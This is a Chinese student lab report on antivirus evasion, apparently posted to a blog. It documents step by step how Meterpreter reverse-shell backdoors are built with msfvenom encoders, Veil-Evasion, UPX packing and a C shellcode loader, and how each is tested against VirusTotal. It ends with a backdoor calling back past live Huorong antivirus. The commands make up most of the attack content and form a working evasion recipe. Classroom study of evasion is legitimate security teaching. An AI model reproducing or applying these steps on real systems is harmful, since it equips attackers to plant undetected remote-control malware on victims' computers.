网络对抗实验三 免杀原理与实践

实践内容

(一)方法

1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

免杀测试平台网址:https://www.virustotal.com/gui/home/upload
主机与Kali的IP:

检测直接生成的后门exe文件(实验二中的后门程序):

我们可以看到检出率为54/69,从扫描结果可以看出,我们不加任何处理的后门程序大多数杀软都可以检测得到,因此我们用msf编码器对后门程序进行多次的编码,查看编码后的检测效果。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.135 LPORT=1206 -e x86/shikata_ga_nai -i 6 -b '\x00' -f exe > 20201206_backdoor.exe
参数含义:
-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数


此时大多数杀毒软件还是可以将其检测出来

  • 利用php文件
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.217.135 LPORT=1206 x> 20201206_backdoor.php
    再次进行检测

    检测效果比之前的好很多,说明有效
  • 利用jar文件
    msfvenom -p java/shell_reverse_tcp LHOST=192.168.217.135 LPORT=1206 -f jar > 20201206_backdoor.jar

    检测效果比之前的好很多,说明有效
2.veil,加壳工具

安装工具veil

dpkg --add-architecture i386
apt-get update
apt-get install wine32
sudo apt-get install veil-evasion

cd /usr/share/veil/config
vim setup.sh


替换方框位置:https://gitee.com/spears/VeilDependencies.git

修改后保存并退出,并输入veil,并完成后续安装
安装完成后进入veil,输入use evasion

use c/meterpreter/rev_tcp.py //进入配置界面

set LHOST 192.168.217.135   //设置反弹链接ip,此处为Kali的ip
set LPORT 1206   //设置端口
generate


输入文件名后,下框内为文件保存路径


对此文件进行检测,但检出率39/69还是有些高
对另外的.c文件进行检测

发现检出率为0/59
将刚才生成的文件复制一份到自己的文件夹里,在该文件夹里打开控制界面
upx 20201206_backdoor.exe -o 20201206hj.exe

加壳完成后对文件进行检测

检出率基本上无变化,可以猜测目前杀软对于加壳的检测能力很强。

3.使用C + shellcode编程

使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.135 LPORT=1206 -f c

复制框里的内容到剪切板
编辑c文件
vim 20201206_c.c

粘贴复制的内容并在最后一行添加以下代码:
int main() { int (*func)() = (int(*)())buf; func(); }
编译可执行文件
i686-w64-mingw32-g++ 20201206_c.c -o 20201206_c.exe
对其进行检测,可以看出检出率已经又下降了一些

(二)通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt
打开veil,选择Evasion

python/meterpreter/rev_tcp.py
use python/meterpreter/rev_tcp.py

set LHOST 192.168.217.135
set LPORT 1206
options


对生成的三个文件以此检测


(三)附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

电脑环境:Win10
杀毒引擎:火绒
杀软版本:5.0.73.3
病毒库版本时间:2023.3.27
在Windows上开启监听
ncat -lv 1206 > 20201206_backdoor.exe
在Kali传送过去
nc 192.168.0.128 1206 < 20201206_backddoor.exe
输入

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.186
set LPORT 1206
run



成功了,而且我的火绒也没有检测出来

报告内容

基础内容回答

1. 杀软是如何检测出恶意代码的?

很多软件都会有各种特征码记成的特征库
​恶意软件的一个或几个片断就可作为识别依据

2. 免杀是做什么?

通过某些手段对软件进行处理,让它不会被杀毒软件检测出来

3. 免杀的基本方法有哪些?
  • ​改变特征码
    ​(1)加壳:压缩壳 加密壳
    (2)用encode进行编码
    ​(3)基于payload重新编译生成可执行文件
    ​(4)用其他语言进行重写再编译(veil-evasion)
  • ​改变行为
    ​(1)尽量使用反弹式连接
    (2)使用隧道技术
    (3)加密通讯数据
    (4)基于内存操作
    (5)减少对系统的修改
    (6)加入混淆作用的正常功能代码
  • ​非常规方法
    (1)使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    (2)使用社工类攻击,诱骗目标关闭AV软件
    (3)纯手工打造一个恶意软件
4. 开启杀软能绝对防止电脑中恶意代码吗?

不能,由于恶意代码会经过重重伪装,使得自己的特征码很难被杀毒软件检测出来而清除掉,所以不可能是绝对的防止电脑中恶意代码,不过可以通过不断更新杀毒软件的病毒库来提高抗毒能力。

实践总结与体会

这次试验重点在于各种操作,我在安装veil的时候遇到了许多问题,自己百度查方法都没有结果,最后是在网上查找到学长的博客才安装好软件,这个实验教会了我如何对恶意代码进行一系列操作来逃过杀毒软件的查杀,也告诉我不能完全的信任自己电脑中的杀毒软件,有些恶意代码会层层伪装,逃过杀毒软件的查杀来实现其目的。

posted @ 2023-03-30 07:43  20201206韩进  阅读(74)  评论(0编辑  收藏  举报